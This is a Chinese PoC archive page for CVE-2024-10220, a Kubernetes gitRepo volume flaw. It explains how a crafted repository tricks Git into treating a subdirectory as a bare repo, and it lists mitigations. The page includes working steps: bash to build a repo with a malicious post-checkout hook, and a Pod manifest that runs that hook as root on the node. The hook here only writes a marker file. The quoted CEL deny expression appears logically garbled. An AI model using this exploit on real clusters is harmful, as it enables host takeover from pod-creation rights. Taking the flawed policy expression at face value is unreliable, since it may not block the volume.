POC详情: 69d9d3527ac646d9508cfc8c40c0c4f752c8f50d

来源
关联漏洞
标题: Kubernetes 安全漏洞 (CVE-2024-10220)
描述:Kubernetes(K8s)是Kubernetes开源的一个开源系统,用于自动部署、扩展和管理容器化应用程序。 Kubernetes存在安全漏洞,该漏洞源于允许通过特制的 gitRepo 卷执行任意命令。以下版本受到影响:1.28.11版本及之前版本、1.29.0版本至1.29.6版本和1.30.0版本至1.30.2版本。
描述
CVE-2024-10220 Test repo
介绍
# CVE-2024-10220 Test
Kubernetes 支持卷(Volume)概念,也称为存储驱动。这一概念使得可以扩展或简化为 Pod 提供数据的方式。截至目前,Kubernetes 核心版本中有 16 个不同的卷驱动可供默认安装使用。

这篇博客文章的重点是 `gitRepo` 卷驱动,以及最近公开披露的一个尚未修复的安全漏洞。除了技术分析之外,我们还将建议一些安全控制措施,以防止该漏洞被利用。

### gitRepo 卷驱动和 CVE-2018–11235 漏洞

`gitRepo` 卷驱动允许引用 Git 仓库的 URL;Kubelet 会检出该仓库,并将仓库中的文件提供给应用程序。

这并不是该驱动第一次出现安全问题:在 2018 年,Git CLI 本身发现了一个漏洞(CVE-2018–11235),当一个恶意的子模块引用被利用时,会导致代码执行。这个漏洞同样可以在 `gitRepo` 卷驱动中被利用:攻击者可以在宿主节点的工作节点上下文中,以 root 权限执行任意命令。

当时,修复方式是升级到 Git CLI 的最新修复版本。当这个漏洞在 2018 年被发现时,Kubernetes 维护者决定废弃 `gitRepo` 卷驱动,并在官方文档中添加了以下警告:

> 为了为一个挂载了 Git 仓库的 Pod 提供服务,你可以在初始化容器中挂载一个 `emptyDir` 卷,该容器使用 Git 克隆仓库,然后将 `emptyDir` 卷挂载到 Pod 容器中。

### 但是,`gitRepo` 依然存在漏洞

新的漏洞是 Kubernetes 特有的,但其影响和 2018 年一样,依然影响废弃的 `gitRepo` 卷驱动,并通过一个特制的 Git 仓库诱使 Git CLI 执行命令。

为了理解它是如何工作的,我们先来看一下 `gitRepo` 卷驱动的配置选项:

- `repository`:要克隆的 Git 仓库 URL
- `revision`:(可选)要检出的提交哈希或标签
- `directory`:(可选)要检出仓库的卷中的子目录

实现上,首先会执行 `git clone` OS 命令。然后,如果配置了 `revision`,还会执行 `git checkout` 和 `git reset` 等后续命令。这个新漏洞正是通过利用这两个可选配置项来实现的。

漏洞的原理在于:Git 允许将仓库检出到任意深度的子目录(例如 `something/you/prefer`)。无论如何,后续的命令始终在第一层目录(例如 `something`)执行。

这允许攻击者将一个特制的仓库克隆到名为 `something/.git` 的子目录中,并且可以在其中放入任意内容,这时驱动会在 `something` 目录执行 `git checkout`。Git CLI 会进入 `something/.git` 子目录,攻击者在该目录中提前构造了一个文件结构,模仿了一个裸仓库的 `.git` 子目录结构。(注意:在这种情况下,`something/.git/.git` 目录也会存在,但 Git CLI 并不关心它。)

简而言之:Git CLI 会误以为自己正在操作一个裸仓库,尽管实际上它是在一个普通仓库中。

- **目录:** `something/.git`:这是卷配置中指定的目录,Git 克隆时会将恶意仓库检出到此目录。仓库中检出的文件被精心设计,看起来像一个裸仓库。
- **目录:** `something/.git/.git`:Git CLI 将在该目录下填充裸仓库的元数据和对象,这正是 Git CLI 后续步骤所需要使用的内容,但它却少了一个层级。
- **目录:** `something`:这是卷驱动执行后续命令的地方。因此,Git CLI 会将 `something/.git` 当作裸仓库,而不是 `something/.git/.git`。

利用这个漏洞,攻击者可以控制假裸仓库的 Git 配置文件,从而可以调用多种命令。攻击者还可以控制 hooks 子目录。

以下是如何构造这样一个仓库,并设置一个自定义的 `post-checkout` hook:

```bash
# 初始化一个新的 git 仓库
mkdir gitongit && cd gitongit
git init

# 创建要执行的 hook
mkdir hooks
cat >hooks/post-checkout <<'EOF'
#!/bin/sh
id > /tmp/poc
EOF
chmod +x hooks/post-checkout

# 裸仓库根目录必须有 HEAD、config 和 objects 文件:
cp .git/HEAD .git/config .
cp -r .git/objects .
git add .
git commit -m "first"

# 在下一轮中添加 logs、refs,并刷新对象:
cp -r .git/logs .git/objects .git/refs .
git add .
git commit -m "second"
```

验证仓库构建是否正确的低级步骤:

```bash
cd /tmp
mkdir cl && cd cl
git clone http://some.host/the-repo-you-just-built.git something/.git
cd something
git checkout main
cat /tmp/poc
```

将这些步骤综合在一起,以下的 Pod 定义会执行我们配置的 `post-checkout` hook:

```yaml
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: test-pd
spec:
  containers:
  - image: alpine:latest
    command: ["sleep","86400"]
    name: test-container
    volumeMounts:
    - mountPath: /gitrepo
      name: gitvolume
  volumes:
  - name: gitvolume
    gitRepo:
      directory: g/.git
      repository: https://github.com/irsl/g.git
      revision: main
EOF
```

然后,在 Pod 被调度到的工作节点上,我们可以在宿主机上找到这个标志文件:

```bash
user@gke-cluster-2-default-pool-6602275c-3zk3 ~ $ cat /tmp/poc
uid=0(root) gid=0(root) groups=0(root)
```

利用该漏洞需要具备创建 Pod 的权限,并且该卷驱动必须可用。漏洞的影响是代码能够在宿主机的安全上下文中执行(可以称之为“沙箱逃逸”)。

### 如何防止这个漏洞?

Kubernetes 维护者决定不修复这个漏洞,因为该驱动已经废弃了超过 5 年,而且文档中已经指出了一个绕过方案。因此,文档中还增加了一条警告:

> 你可以使用诸如 `ValidatingAdmissionPolicy` 之类的策略,限制在集群中使用 `gitRepo` 卷。可以使用以下的 Common Expression Language (CEL) 表达式作为策略的一部分,拒绝使用 `gitRepo` 卷:`has(object.spec.volumes) || !object.spec.volumes.exists(v, has(v.gitRepo))`。

为什么供应商没有直接移除这个驱动?这其实很难做到,因为平台必须保证向后兼容。

总之,由于这是实现问题,我们决定通过提交 PR 来修复这个漏洞。Kubernetes 1.31 版本将在 8 月发布,修复此问题。

另外,值得一提的是,这个驱动在 GKE Autopilot 中一直是禁用的。

另一种缓解方法是使用 acjs,这是一个 admission 控制器,可以将你的 `gitRepo` 卷转为 initContainer。
文件快照

[4.0K] /data/pocs/69d9d3527ac646d9508cfc8c40c0c4f752c8f50d ├── [ 92] config ├── [ 23] HEAD ├── [4.0K] hooks │   └── [ 67] post-checkout ├── [ 11K] LICENSE ├── [4.0K] logs │   ├── [ 155] HEAD │   └── [4.0K] refs │   └── [4.0K] heads │   └── [ 155] master ├── [4.0K] objects │   ├── [4.0K] 47 │   │   └── [ 83] a0c00b3d4c5ee89bde4493f2e9be760e5de553 │   ├── [4.0K] 51 │   │   └── [ 92] 5f4836297fdf7567c066983c16e5eff598f7bd │   ├── [4.0K] 7d │   │   └── [ 125] d14d0290b3fb7a4a45ea31e2e93b2b293f712e │   ├── [4.0K] 95 │   │   └── [ 58] 45f069ed6b142dd70e12a082ad786f530b1a37 │   ├── [4.0K] af │   │   └── [ 110] 600098238b7e234f440f9bd18fd370962ba2c2 │   └── [4.0K] cb │   └── [ 37] 089cd89a7d7686d284d8761201649346b5aa1c ├── [6.2K] README.md └── [4.0K] refs └── [4.0K] heads └── [ 41] master 13 directories, 14 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。